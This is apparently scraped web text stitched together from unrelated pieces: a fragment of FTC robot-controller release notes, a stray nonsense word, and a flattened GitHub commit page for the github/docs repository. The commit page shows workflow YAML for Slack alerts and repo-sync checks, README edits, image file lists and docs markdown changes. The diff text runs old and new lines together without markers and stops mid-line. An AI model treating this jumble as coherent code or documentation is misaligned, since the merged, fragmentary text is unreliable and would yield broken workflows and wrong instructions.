Ultrasonic sensor (NXT) is not configured for legacy module port 4 or 5. Release 15.08.03.001 New user interfaces for FTC Driver Station and FTC Robot Controller apps. An init() method is added to the OpMode class. For this release, init() is triggered right before the start() method. Eventually, the init() method will be triggered when the user presses an "INIT" button on driver station. The init() and loop() methods are now required (i.e., need to be overridden in the user's op mode). The start() and stop() methods are optional. A new LinearOpMode class is introduced. Teams can use the LinearOpMode mode to create a linear (not event driven) program model. Teams can use blocking statements like Thread.sleep() within a linear op mode. The API for the Legacy Module and Core Device Interface Module have been updated. Support for encoders with the Legacy Module is now working. The hardware loop has been updated for better performance.
Sfedfcv
Skip to content github / docs Code Issues 80 Pull requests 35 Discussions Actions Projects 2 Security Insights Merge branch 'main' into 1862-Add-Travis-CI-migration-table 1862-Add-Travis-CI-migration-table (#1869, Iixixi/ZachryTylerWood#102, THEBOLCK79/docs#1, sbnbhk/docs#1) @martin389 martin389 committed on Dec 9, 2020 2 parents 2f9ec0c + 1588f50 commit 1a56ed136914e522f3a23ecc2be1c49f479a1a6a Showing 501 changed files with 5,397 additions and 1,362 deletions. 2 .github/allowed-actions.js @@ -30,7 +30,7 @@ module.exports = [ 'rachmari/labeler@832d42ec5523f3c6d46e8168de71cd54363e3e2e', 'repo-sync/github-sync@3832fe8e2be32372e1b3970bbae8e7079edeec88', 'repo-sync/pull-request@33777245b1aace1a58c87a29c90321aa7a74bd7d', 'rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815', 'someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd', 'tjenkinson/gh-action-auto-merge-dependency-updates@cee2ac0', 'EndBug/add-and-commit@9358097a71ad9fb9e2f9624c6098c89193d83575' ] 72 .github/workflows/confirm-internal-staff-work-in-docs.yml @@ -0,0 +1,72 @@ name: Confirm internal staff meant to post in public on: issues: types: - opened - reopened - transferred pull_request_target: types: - opened - reopened jobs: check-team-membership: runs-on: ubuntu-latest continue-on-error: true if: github.repository == 'github/docs' steps: - uses: actions/github-script@626af12fe9a53dc2972b48385e7fe7dec79145c9 with: github-token: ${{ secrets.DOCUBOT_FR_PROJECT_BOARD_WORKFLOWS_REPO_ORG_READ_SCOPES }} script: | // Only perform this action with GitHub employees try { await github.teams.getMembershipForUserInOrg({ org: 'github', team_slug: 'employees', username: context.payload.sender.login, }); } catch(err) { // An error will be thrown if the user is not a GitHub employee // If a user is not a GitHub employee, we should stop here and // Not send a notification return } // Don't perform this action with Docs team members try { await github.teams.getMembershipForUserInOrg({ org: 'github', team_slug: 'docs', username: context.payload.sender.login, }); // If the user is a Docs team member, we should stop here and not send // a notification return } catch(err) { // An error will be thrown if the user is not a Docs team member // If a user is not a Docs team member we should continue and send // the notification } const issueNo = context.number || context.issue.number // Create an issue in our private repo await github.issues.create({ owner: 'github', repo: 'docs-internal', title: `@${context.payload.sender.login} confirm that \#${issueNo} should be in the public github/docs repo`, body: `@${context.payload.sender.login} opened https://github.com/github/docs/issues/${issueNo} publicly in the github/docs repo, instead of the private github/docs-internal repo.\n\n@${context.payload.sender.login}, please confirm that this belongs in the public repo and that no sensitive information was disclosed by commenting below and closing the issue.\n\nIf this was not intentional and sensitive information was shared, please delete https://github.com/github/docs/issues/${issueNo} and notify us in the \#docs-open-source channel.\n\nThanks! \n\n/cc @github/docs @github/docs-engineering` }); throw new Error('A Hubber opened an issue on the public github/docs repo'); - name: Send Slack notification if a GitHub employee who isn't on the docs team opens an issue in public if: ${{ failure() && github.repository == 'github/docs' }} uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd with: channel: ${{ secrets.DOCS_OPEN_SOURCE_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} text: <@${{github.actor}}> opened https://github.com/github/docs/issues/${{ github.event.number || github.event.issue.number }} publicly on the github/docs repo instead of the private github/docs-internal repo. They have been notified via a new issue in the github/docs-internal repo to confirm this was intentional. 15 .github/workflows/js-lint.yml @@ -10,23 +10,8 @@ on: - translations jobs: see_if_should_skip: runs-on: ubuntu-latest outputs: should_skip: ${{ steps.skip_check.outputs.should_skip }} steps: - id: skip_check uses: fkirc/skip-duplicate-actions@36feb0d8d062137530c2e00bd278d138fe191289 with: cancel_others: 'false' github_token: ${{ github.token }} paths: '["**/*.js", "package*.json", ".github/workflows/js-lint.yml", ".eslint*"]' lint: runs-on: ubuntu-latest needs: see_if_should_skip if: ${{ needs.see_if_should_skip.outputs.should_skip != 'true' }} steps: - name: Check out repo uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f 13 .github/workflows/repo-freeze-reminders.yml @@ -14,11 +14,10 @@ jobs: if: github.repository == 'github/docs-internal' steps: - name: Send Slack notification if repo is frozen uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: ${{ env.FREEZE == 'true' }} uses: rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815 env: SLACK_WEBHOOK: ${{ secrets.DOCS_ALERTS_SLACK_WEBHOOK }} SLACK_USERNAME: docs-repo-sync SLACK_ICON_EMOJI: ':freezing_face:' SLACK_COLOR: '#51A0D5' # Carolina Blue SLACK_MESSAGE: All repo-sync runs will fail for ${{ github.repository }} because the repo is currently frozen! with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: info text: All repo-sync runs will fail for ${{ github.repository }} because the repo is currently frozen! 54 .github/workflows/repo-sync-stalls.yml @@ -0,0 +1,54 @@ name: Repo Sync Stalls on: workflow_dispatch: schedule: - cron: '*/30 * * * *' jobs: check-freezer: name: Check for deployment freezes runs-on: ubuntu-latest steps: - name: Exit if repo is frozen if: ${{ env.FREEZE == 'true' }} run: | echo 'The repo is currently frozen! Exiting this workflow.' exit 1 # prevents further steps from running repo-sync-stalls: runs-on: ubuntu-latest steps: - name: Check if repo sync is stalled uses: actions/github-script@626af12fe9a53dc2972b48385e7fe7dec79145c9 with: github-token: ${{ secrets.DOCUBOT_FR_PROJECT_BOARD_WORKFLOWS_REPO_ORG_READ_SCOPES }} script: | let pulls; const owner = context.repo.owner const repo = context.repo.repo try { pulls = await github.pulls.list({ owner: owner, repo: repo, head: `${owner}:repo-sync`, state: 'open' }); } catch(err) { throw err return } pulls.data.forEach(pr => { const timeDelta = Date.now() - Date.parse(pr.created_at); const minutesOpen = timeDelta / 1000 / 60; if (minutesOpen > 30) { core.setFailed('Repo sync appears to be stalled') } }) - name: Send Slack notification if workflow fails uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: failure() with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: failure text: Repo sync appears to be stalled for ${{github.repository}}. See https://github.com/${{github.repository}}/pulls?q=is%3Apr+is%3Aopen+repo+sync 16 .github/workflows/repo-sync.yml @@ -7,6 +7,7 @@ name: Repo Sync on: workflow_dispatch: schedule: - cron: '*/15 * * * *' # every 15 minutes @@ -70,11 +71,10 @@ jobs: number: ${{ steps.find-pull-request.outputs.number }} - name: Send Slack notification if workflow fails uses: rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815 if: ${{ failure() }} env: SLACK_WEBHOOK: ${{ secrets.DOCS_ALERTS_SLACK_WEBHOOK }} SLACK_USERNAME: docs-repo-sync SLACK_ICON_EMOJI: ':ohno:' SLACK_COLOR: '#B90E0A' # Crimson SLACK_MESSAGE: The last repo-sync run for ${{github.repository}} failed. See https://github.com/${{github.repository}}/actions?query=workflow%3A%22Repo+Sync%22 uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: failure() with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: failure text: The last repo-sync run for ${{github.repository}} failed. See https://github.com/${{github.repository}}/actions?query=workflow%3A%22Repo+Sync%22 10 .github/workflows/sync-algolia-search-indices.yml @@ -33,8 +33,10 @@ jobs: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} run: npm run sync-search - name: Send slack notification if workflow run fails uses: rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815 uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: failure() env: SLACK_WEBHOOK: ${{ secrets.DOCS_ALERTS_SLACK_WEBHOOK }} SLACK_MESSAGE: The last Algolia workflow run for ${{github.repository}} failed. Search actions for `workflow:Algolia` with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: failure text: The last Algolia workflow run for ${{github.repository}} failed. Search actions for `workflow:Algolia` 15 .github/workflows/yml-lint.yml @@ -10,23 +10,8 @@ on: - translations jobs: see_if_should_skip: runs-on: ubuntu-latest outputs: should_skip: ${{ steps.skip_check.outputs.should_skip }} steps: - id: skip_check uses: fkirc/skip-duplicate-actions@36feb0d8d062137530c2e00bd278d138fe191289 with: cancel_others: 'false' github_token: ${{ github.token }} paths: '["**/*.yml", "**/*.yaml", "package*.json", ".github/workflows/yml-lint.yml"]' lint: runs-on: ubuntu-latest needs: see_if_should_skip if: ${{ needs.see_if_should_skip.outputs.should_skip != 'true' }} steps: - name: Check out repo uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f 4 README.md @@ -28,7 +28,7 @@ If you've found a problem, you can open an issue using a [template](https://gith #### Solve an issue If you have a solution to one of the open issues, you will need to fork the repository and submit a PR using the [template](https://github.com/github/docs/blob/main/CONTRIBUTING.md#pull-request-template) that is visible automatically in the pull request body. For more details about this process, please check out [Getting Started with Contributing](/CONTRIBUTING.md). If you have a solution to one of the open issues, you will need to fork the repository and submit a pull request using the [template](https://github.com/github/docs/blob/main/CONTRIBUTING.md#pull-request-template) that is visible automatically in the pull request body. For more details about this process, please check out [Getting Started with Contributing](/CONTRIBUTING.md). #### Join us in discussions @@ -50,6 +50,8 @@ There are a few more things to know when you're getting started with this repo: In addition to the README you're reading right now, this repo includes other READMEs that describe the purpose of each subdirectory in more detail: - [content/README.md](content/README.md) - [content/graphql/README.md](content/graphql/README.md) - [content/rest/README.md](content/rest/README.md) - [contributing/README.md](contributing/README.md) - [data/README.md](data/README.md) - [data/reusables/README.md](data/reusables/README.md) BIN +164 KB assets/images/help/classroom/assignment-group-hero.png Binary file not shown. BIN +75.5 KB assets/images/help/classroom/assignment-ide-go-grant-access-button.png Binary file not shown. BIN +175 KB assets/images/help/classroom/assignment-individual-hero.png Binary file not shown. BIN +27.6 KB assets/images/help/classroom/assignment-repository-ide-button-in-readme.png Binary file not shown. BIN +83.4 KB assets/images/help/classroom/assignments-assign-deadline.png Binary file not shown. BIN +32.4 KB assets/images/help/classroom/assignments-assignment-title.png Binary file not shown. BIN +27.7 KB assets/images/help/classroom/assignments-autograding-click-pencil-or-trash.png Binary file not shown. BIN +72 KB assets/images/help/classroom/assignments-choose-repository-visibility.png Binary file not shown. BIN +20.1 KB assets/images/help/classroom/assignments-click-continue-button.png Binary file not shown. BIN +23.7 KB assets/images/help/classroom/assignments-click-create-assignment-button.png Binary file not shown. BIN +76.4 KB assets/images/help/classroom/assignments-click-grading-and-feedback.png Binary file not shown. BIN +53.1 KB assets/images/help/classroom/assignments-click-new-assignment-button.png Binary file not shown. BIN +134 KB assets/images/help/classroom/assignments-click-online-ide.png Binary file not shown. BIN +77.8 KB assets/images/help/classroom/assignments-click-pencil.png Binary file not shown. BIN +18.8 KB assets/images/help/classroom/assignments-click-review-button.png Binary file not shown. BIN +20.6 KB assets/images/help/classroom/assignments-click-save-test-case-button.png Binary file not shown. BIN +121 KB assets/images/help/classroom/assignments-click-template-repository-in-list.png Binary file not shown. BIN +21.1 KB assets/images/help/classroom/assignments-click-update-assignment.png Binary file not shown. BIN +76.9 KB assets/images/help/classroom/assignments-click-view-ide.png Binary file not shown. BIN +96.5 KB assets/images/help/classroom/assignments-click-view-test.png Binary file not shown. BIN +71.3 KB assets/images/help/classroom/assignments-define-teams.png Binary file not shown. BIN +39.4 KB assets/images/help/classroom/assignments-enable-feedback-pull-requests.png Binary file not shown. BIN +40.4 KB assets/images/help/classroom/assignments-type-protected-file-paths.png Binary file not shown. BIN +330 KB assets/images/help/classroom/autograding-actions-logs.png Binary file not shown. BIN +187 KB assets/images/help/classroom/autograding-actions-tab.png Binary file not shown. BIN +94.9 KB assets/images/help/classroom/autograding-click-grading-method.png Diff not rendered. BIN +57.5 KB assets/images/help/classroom/autograding-click-pencil.png Diff not rendered. BIN +57.7 KB assets/images/help/classroom/autograding-click-trash.png Diff not rendered. BIN +168 KB assets/images/help/classroom/autograding-hero.png Diff not rendered. BIN +154 KB assets/images/help/classroom/classroom-add-students-to-your-roster.png Diff not rendered. BIN +166 KB assets/images/help/classroom/classroom-copy-credentials.png Diff not rendered. BIN +181 KB assets/images/help/classroom/classroom-hero.png Diff not rendered. BIN +48.3 KB assets/images/help/classroom/classroom-settings-click-connection-settings.png Diff not rendered. BIN +94 KB ...ges/help/classroom/classroom-settings-click-disconnect-from-your-lms-button.png Diff not rendered. BIN +148 KB assets/images/help/classroom/classroom-settings-click-lms.png Diff not rendered. BIN +149 KB assets/images/help/classroom/click-assignment-in-list.png Diff not rendered. BIN +52.3 KB assets/images/help/classroom/click-classroom-in-list.png Diff not rendered. BIN +49.5 KB assets/images/help/classroom/click-create-classroom-button.png Diff not rendered. BIN +30 KB assets/images/help/classroom/click-create-roster-button.png Diff not rendered. BIN +78.2 KB assets/images/help/classroom/click-delete-classroom-button.png Diff not rendered. BIN +60.8 KB ...images/help/classroom/click-import-from-a-learning-management-system-button.png Diff not rendered. BIN +51.9 KB assets/images/help/classroom/click-new-classroom-button.png Diff not rendered. BIN +83.4 KB assets/images/help/classroom/click-organization.png Diff not rendered. BIN +28.4 KB assets/images/help/classroom/click-settings.png Diff not rendered. BIN +29.7 KB assets/images/help/classroom/click-students.png Diff not rendered. BIN +60 KB assets/images/help/classroom/click-update-students-button.png Diff not rendered. BIN +127 KB assets/images/help/classroom/delete-classroom-click-delete-classroom-button.png Diff not rendered. BIN +104 KB assets/images/help/classroom/delete-classroom-modal-with-warning.png Diff not rendered. BIN +264 KB assets/images/help/classroom/ide-makecode-arcade-version-control-button.png Diff not rendered. BIN +69.4 KB assets/images/help/classroom/ide-replit-version-control-button.png Diff not rendered. BIN +234 KB assets/images/help/classroom/lms-github-classroom-credentials.png Diff not rendered. BIN +955 KB assets/images/help/classroom/probot-settings.gif Diff not rendered. BIN +113 KB assets/images/help/classroom/roster-hero.png Diff not rendered. BIN +40.4 KB assets/images/help/classroom/settings-click-rename-classroom-button.png Diff not rendered. BIN +41 KB assets/images/help/classroom/settings-type-classroom-name.png Diff not rendered. BIN +140 KB assets/images/help/classroom/setup-click-authorize-github-classroom.png Diff not rendered. BIN +102 KB assets/images/help/classroom/setup-click-authorize-github.png Diff not rendered. BIN +163 KB assets/images/help/classroom/setup-click-grant.png Diff not rendered. BIN +324 KB assets/images/help/classroom/students-click-delete-roster-button-in-modal.png Diff not rendered. BIN +91.1 KB assets/images/help/classroom/students-click-delete-roster-button.png Diff not rendered. BIN +48.2 KB assets/images/help/classroom/type-classroom-name.png Diff not rendered. BIN +174 KB assets/images/help/classroom/type-or-upload-student-identifiers.png Diff not rendered. BIN +83.3 KB assets/images/help/classroom/use-drop-down-then-click-archive.png Diff not rendered. BIN +45.2 KB assets/images/help/classroom/use-drop-down-then-click-unarchive.png Diff not rendered. BIN +55.4 KB assets/images/help/discussions/choose-new-category.png Diff not rendered. BIN +56.8 KB assets/images/help/discussions/click-delete-and-move-button.png Diff not rendered. BIN +59.7 KB assets/images/help/discussions/click-delete-discussion.png Diff not rendered. BIN +65.3 KB assets/images/help/discussions/click-delete-for-category.png Diff not rendered. BIN +68.9 KB assets/images/help/discussions/click-delete-this-discussion-button.png Diff not rendered. BIN +353 KB assets/images/help/discussions/click-discussion-in-list.png Diff not rendered. BIN +41 KB assets/images/help/discussions/click-edit-categories.png Diff not rendered. BIN +64.3 KB assets/images/help/discussions/click-edit-for-category.png Diff not rendered. BIN +60.2 KB assets/images/help/discussions/click-edit-pinned-discussion.png Diff not rendered. BIN +104 KB assets/images/help/discussions/click-new-category-button.png Diff not rendered. BIN +98.2 KB assets/images/help/discussions/click-pin-discussion-button.png Diff not rendered. BIN +55.7 KB assets/images/help/discussions/click-pin-discussion.png Diff not rendered. BIN +104 KB assets/images/help/discussions/click-save.png Diff not rendered. BIN +59.9 KB assets/images/help/discussions/click-transfer-discussion-button.png Diff not rendered. BIN +60.2 KB assets/images/help/discussions/click-transfer-discussion.png Diff not rendered. BIN +63.3 KB assets/images/help/discussions/click-unpin-discussion-button.png Diff not rendered. BIN +59.8 KB assets/images/help/discussions/click-unpin-discussion.png Diff not rendered. BIN +140 KB assets/images/help/discussions/comment-mark-as-answer-button.png Diff not rendered. BIN +136 KB assets/images/help/discussions/comment-marked-as-answer.png Diff not rendered. BIN +234 KB assets/images/help/discussions/customize-pinned-discussion.png Diff not rendered. BIN +1.21 MB assets/images/help/discussions/discussons-hero.png Diff not rendered. BIN +139 KB assets/images/help/discussions/edit-category-details.png Diff not rendered. BIN +136 KB assets/images/help/discussions/edit-existing-category-details.png Diff not rendered. BIN +55.5 KB assets/images/help/discussions/existing-category-click-save-changes-button.png Diff not rendered. BIN +680 KB assets/images/help/discussions/hero.png Diff not rendered. BIN +307 KB assets/images/help/discussions/most-helpful.png Diff not rendered. BIN +52.9 KB assets/images/help/discussions/new-category-click-create-button.png Diff not rendered. BIN +132 KB assets/images/help/discussions/new-discussion-button.png Diff not rendered. BIN +140 KB assets/images/help/discussions/new-discussion-select-category-dropdown-menu.png Diff not rendered. BIN +46.7 KB assets/images/help/discussions/new-discussion-start-discussion-button.png Diff not rendered. BIN +108 KB assets/images/help/discussions/new-discussion-title-and-body-fields.png Diff not rendered. BIN +23.1 KB assets/images/help/discussions/public-repo-settings.png Diff not rendered. BIN +49.5 KB assets/images/help/discussions/repository-discussions-tab.png Diff not rendered. BIN +51.8 KB assets/images/help/discussions/search-and-filter-controls.png Diff not rendered. BIN +44.4 KB assets/images/help/discussions/search-result.png Diff not rendered. BIN +35.4 KB assets/images/help/discussions/select-discussions-checkbox.png Diff not rendered. BIN +44.8 KB assets/images/help/discussions/setup-discussions-button.png Diff not rendered. BIN +95.9 KB assets/images/help/discussions/toggle-allow-users-with-read-access-checkbox.png Diff not rendered. BIN +73 KB assets/images/help/discussions/unanswered-discussion.png Diff not rendered. BIN +81.3 KB assets/images/help/discussions/use-choose-a-repository-drop-down.png Diff not rendered. BIN +30.3 KB assets/images/help/discussions/your-discussions.png Diff not rendered. BIN +563 KB assets/images/help/education/click-get-teacher-benefits.png Diff not rendered. BIN +116 KB assets/images/help/images/overview-actions-result-navigate.png Diff not rendered. BIN +150 KB assets/images/help/images/overview-actions-result-updated-2.png Diff not rendered. BIN +128 KB assets/images/help/images/workflow-graph-job.png Diff not rendered. BIN +135 KB assets/images/help/images/workflow-graph.png Diff not rendered. BIN +5.46 KB assets/images/help/organizations/update-profile-button.png Diff not rendered. BIN +44.6 KB assets/images/help/pull_requests/dependency-review-rich-diff.png Diff not rendered. BIN +24.6 KB assets/images/help/pull_requests/dependency-review-source-diff.png Diff not rendered. BIN +214 KB assets/images/help/pull_requests/dependency-review-vulnerability.png Diff not rendered. BIN +105 KB assets/images/help/pull_requests/file-filter-menu-json.png Diff not rendered. BIN +22.5 KB (510%) assets/images/help/pull_requests/pull-request-tabs-changed-files.png Diff not rendered. BIN +45.2 KB assets/images/help/repository/actions-delete-artifact-updated.png Diff not rendered. BIN +122 KB assets/images/help/repository/actions-failed-pester-test-updated.png Diff not rendered. BIN +45.4 KB assets/images/help/repository/artifact-drop-down-updated.png Diff not rendered. BIN +54.5 KB assets/images/help/repository/cancel-check-suite-updated.png Diff not rendered. BIN +120 KB assets/images/help/repository/copy-link-button-updated-2.png Diff not rendered. BIN +77.6 KB assets/images/help/repository/delete-all-logs-updated-2.png Diff not rendered. BIN +326 KB assets/images/help/repository/docker-action-workflow-run-updated.png Diff not rendered. BIN +84.6 KB assets/images/help/repository/download-logs-drop-down-updated-2.png Diff not rendered. BIN +170 KB assets/images/help/repository/in-progress-run.png Diff not rendered. BIN +124 KB assets/images/help/repository/javascript-action-workflow-run-updated-2.png Diff not rendered. BIN +116 KB assets/images/help/repository/passing-data-between-jobs-in-a-workflow-updated.png Diff not rendered. BIN +80.8 KB assets/images/help/repository/rerun-checks-drop-down-updated.png Diff not rendered. BIN +41.2 KB assets/images/help/repository/search-log-box-updated-2.png Diff not rendered. BIN +133 KB assets/images/help/repository/super-linter-workflow-results-updated-2.png Diff not rendered. BIN +97.5 KB assets/images/help/repository/superlinter-lint-code-base-job-updated.png Diff not rendered. BIN -128 KB assets/images/help/repository/upload-build-test-artifact.png Diff not rendered. BIN +27.5 KB (170%) assets/images/help/repository/view-run-billable-time.png Diff not rendered. BIN +54.8 KB assets/images/help/repository/workflow-run-kebab-horizontal-icon-updated-2.png Diff not rendered. BIN +7.54 KB assets/images/help/settings/appearance-tab.png Diff not rendered. BIN +39.7 KB assets/images/help/settings/theme-settings-radio-buttons.png Diff not rendered. BIN +11.1 KB assets/images/help/settings/update-theme-preference-button.png Diff not rendered. BIN +22.5 KB assets/images/help/sponsors/billing-account-switcher.png Diff not rendered. BIN +6.37 KB (150%) assets/images/help/sponsors/edit-sponsorship-payment-button.png Diff not rendered. BIN +34.8 KB assets/images/help/sponsors/link-account-button.png Diff not rendered. BIN +12.8 KB (170%) assets/images/help/sponsors/manage-your-sponsorship-button.png Diff not rendered. BIN +20.6 KB assets/images/help/sponsors/organization-update-email-textbox.png Diff not rendered. BIN +13.5 KB assets/images/help/sponsors/pay-prorated-amount-link.png Diff not rendered. BIN +34.7 KB assets/images/help/sponsors/select-an-account-drop-down.png Diff not rendered. BIN +17 KB assets/images/help/sponsors/sponsor-as-drop-down-menu.png Diff not rendered. BIN +15.8 KB assets/images/help/sponsors/sponsoring-as-drop-down-menu.png Diff not rendered. BIN +16.1 KB assets/images/help/sponsors/sponsoring-settings-button.png Diff not rendered. BIN +29.5 KB assets/images/help/sponsors/sponsoring-tab.png Diff not rendered. BIN +7.91 KB assets/images/help/sponsors/update-checkbox-manage.png Diff not rendered. BIN +43 KB (160%) assets/images/marketplace/marketplace-request-button.png Diff not rendered. BIN +53.6 KB assets/images/marketplace/marketplace_verified_creator_badges_apps.png Diff not rendered. 6 content/actions/creating-actions/creating-a-docker-container-action.md @@ -226,6 +226,10 @@ jobs: ``` {% endraw %} From your repository, click the **Actions** tab, and select the latest workflow run. You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. From your repository, click the **Actions** tab, and select the latest workflow run. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}Under **Jobs** or in the visualization graph, click **A job to say hello**. {% endif %}You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} 6 content/actions/creating-actions/creating-a-javascript-action.md @@ -261,9 +261,11 @@ jobs: ``` {% endraw %} From your repository, click the **Actions** tab, and select the latest workflow run. You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. From your repository, click the **Actions** tab, and select the latest workflow run. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}Under **Jobs** or in the visualization graph, click **A job to say hello**. {% endif %}You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% elsif currentVersion ver_gt "enterprise-server@2.22" %}  {% else %}  4 content/actions/guides/about-packaging-with-github-actions.md @@ -25,7 +25,11 @@ Creating a package at the end of a continuous integration workflow can help duri Now, when reviewing a pull request, you'll be able to look at the workflow run and download the artifact that was produced. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} This will let you run the code in the pull request on your machine, which can help with debugging or testing the pull request. 4 content/actions/guides/building-and-testing-powershell.md @@ -60,7 +60,11 @@ jobs: * `run: Test-Path resultsfile.log` - Check whether a file called `resultsfile.log` is present in the repository's root directory. * `Should -Be $true` - Uses Pester to define an expected result. If the result is unexpected, then {% data variables.product.prodname_actions %} flags this as a failed test. For example: {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} * `Invoke-Pester Unit.Tests.ps1 -Passthru` - Uses Pester to execute tests defined in a file called `Unit.Tests.ps1`. For example, to perform the same test described above, the `Unit.Tests.ps1` will contain the following: ``` 7 content/actions/guides/storing-workflow-data-as-artifacts.md @@ -108,8 +108,6 @@ jobs: path: output/test/code-coverage.html ```  {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} ### Configuring a custom artifact retention period @@ -238,7 +236,12 @@ jobs: echo The result is $value ``` The workflow run will archive any artifacts that it generated. For more information on downloading archived artifacts, see "[Downloading workflow artifacts](/actions/managing-workflow-runs/downloading-workflow-artifacts)." {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% if currentVersion == "free-pro-team@latest" %} 8 content/actions/index.md @@ -68,18 +68,18 @@ versions: <h2 class="mb-2 font-mktg h1">Code examples</h2> <div class="pr-lg-3 mb-5 mt-3"> <input class="js-code-example-filter input-lg py-2 px-3 col-12 col-lg-8 form-control" placeholder="Search code examples" type="search" autocomplete="off" aria-label="Search code examples"/> <input class="js-filter-card-filter input-lg py-2 px-3 col-12 col-lg-8 form-control" placeholder="Search code examples" type="search" autocomplete="off" aria-label="Search code examples"/> </div> <div class="d-flex flex-wrap gutter"> {% render 'code-example-card' for actionsCodeExamples as example %} </div> <button class="js-code-example-show-more btn btn-outline float-right">Show more {% octicon "arrow-right" %}</button> <button class="js-filter-card-show-more btn btn-outline float-right">Show more {% octicon "arrow-right" %}</button> <div class="js-code-example-no-results d-none py-4 text-center text-gray font-mktg"> <div class="js-filter-card-no-results d-none py-4 text-center text-gray font-mktg"> <div class="mb-3">{% octicon "search" width="24" %}</div> <h3 class="text-normal">Sorry, there is no result for <strong class="js-code-example-filter-value"></strong></h3> <h3 class="text-normal">Sorry, there is no result for <strong class="js-filter-card-value"></strong></h3> <p class="my-3 f4">It looks like we don't have an example that fits your filter.<br>Try another filter or add your code example</p> <a href="https://github.com/github/docs/blob/main/data/variables/action_code_examples.yml">Learn how to add a code example {% octicon "arrow-right" %}</a> </div> 11 content/actions/learn-github-actions/introduction-to-github-actions.md @@ -204,7 +204,7 @@ In this diagram, you can see the workflow file you just created and how the {% d ### Viewing the job's activity Once your job has started running, you can view each step's activity on {% data variables.product.prodname_dotcom %}. Once your job has started running, you can {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}see a visualization graph of the run's progress and {% endif %}view each step's activity on {% data variables.product.prodname_dotcom %}. {% data reusables.repositories.navigate-to-repo %} 1. Under your repository name, click **Actions**. @@ -213,7 +213,14 @@ Once your job has started running, you can view each step's activity on {% data  1. Under "Workflow runs", click the name of the run you want to see.  {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %} 1. Under **Jobs** or in the visualization graph, click the job you want to see.  {% endif %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %} 1. View the results of each step.  {% elsif currentVersion ver_gt "enterprise-server@2.22" %} 1. Click on the job name to see the results of each step.  {% else %} 7 content/actions/managing-workflow-runs/canceling-a-workflow.md @@ -17,9 +17,14 @@ versions: {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. From the list of workflow runs, click the name of the `queued` or `in progress` run that you want to cancel.  1. In the upper-right corner of the workflow, click **Cancel workflow**. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} ### Steps {% data variables.product.prodname_dotcom %} takes to cancel a workflow run 4 content/actions/managing-workflow-runs/downloading-workflow-artifacts.md @@ -20,4 +20,8 @@ versions: {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. Under **Artifacts**, click the artifact you want to download. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} 1 content/actions/managing-workflow-runs/index.md @@ -18,6 +18,7 @@ versions: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}{% link_in_list /using-the-visualization-graph %}{% endif %} {% link_in_list /viewing-workflow-run-history %} {% link_in_list /using-workflow-run-logs %} {% link_in_list /manually-running-a-workflow %} 3 content/actions/managing-workflow-runs/re-running-a-workflow.md @@ -16,5 +16,4 @@ versions: {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow 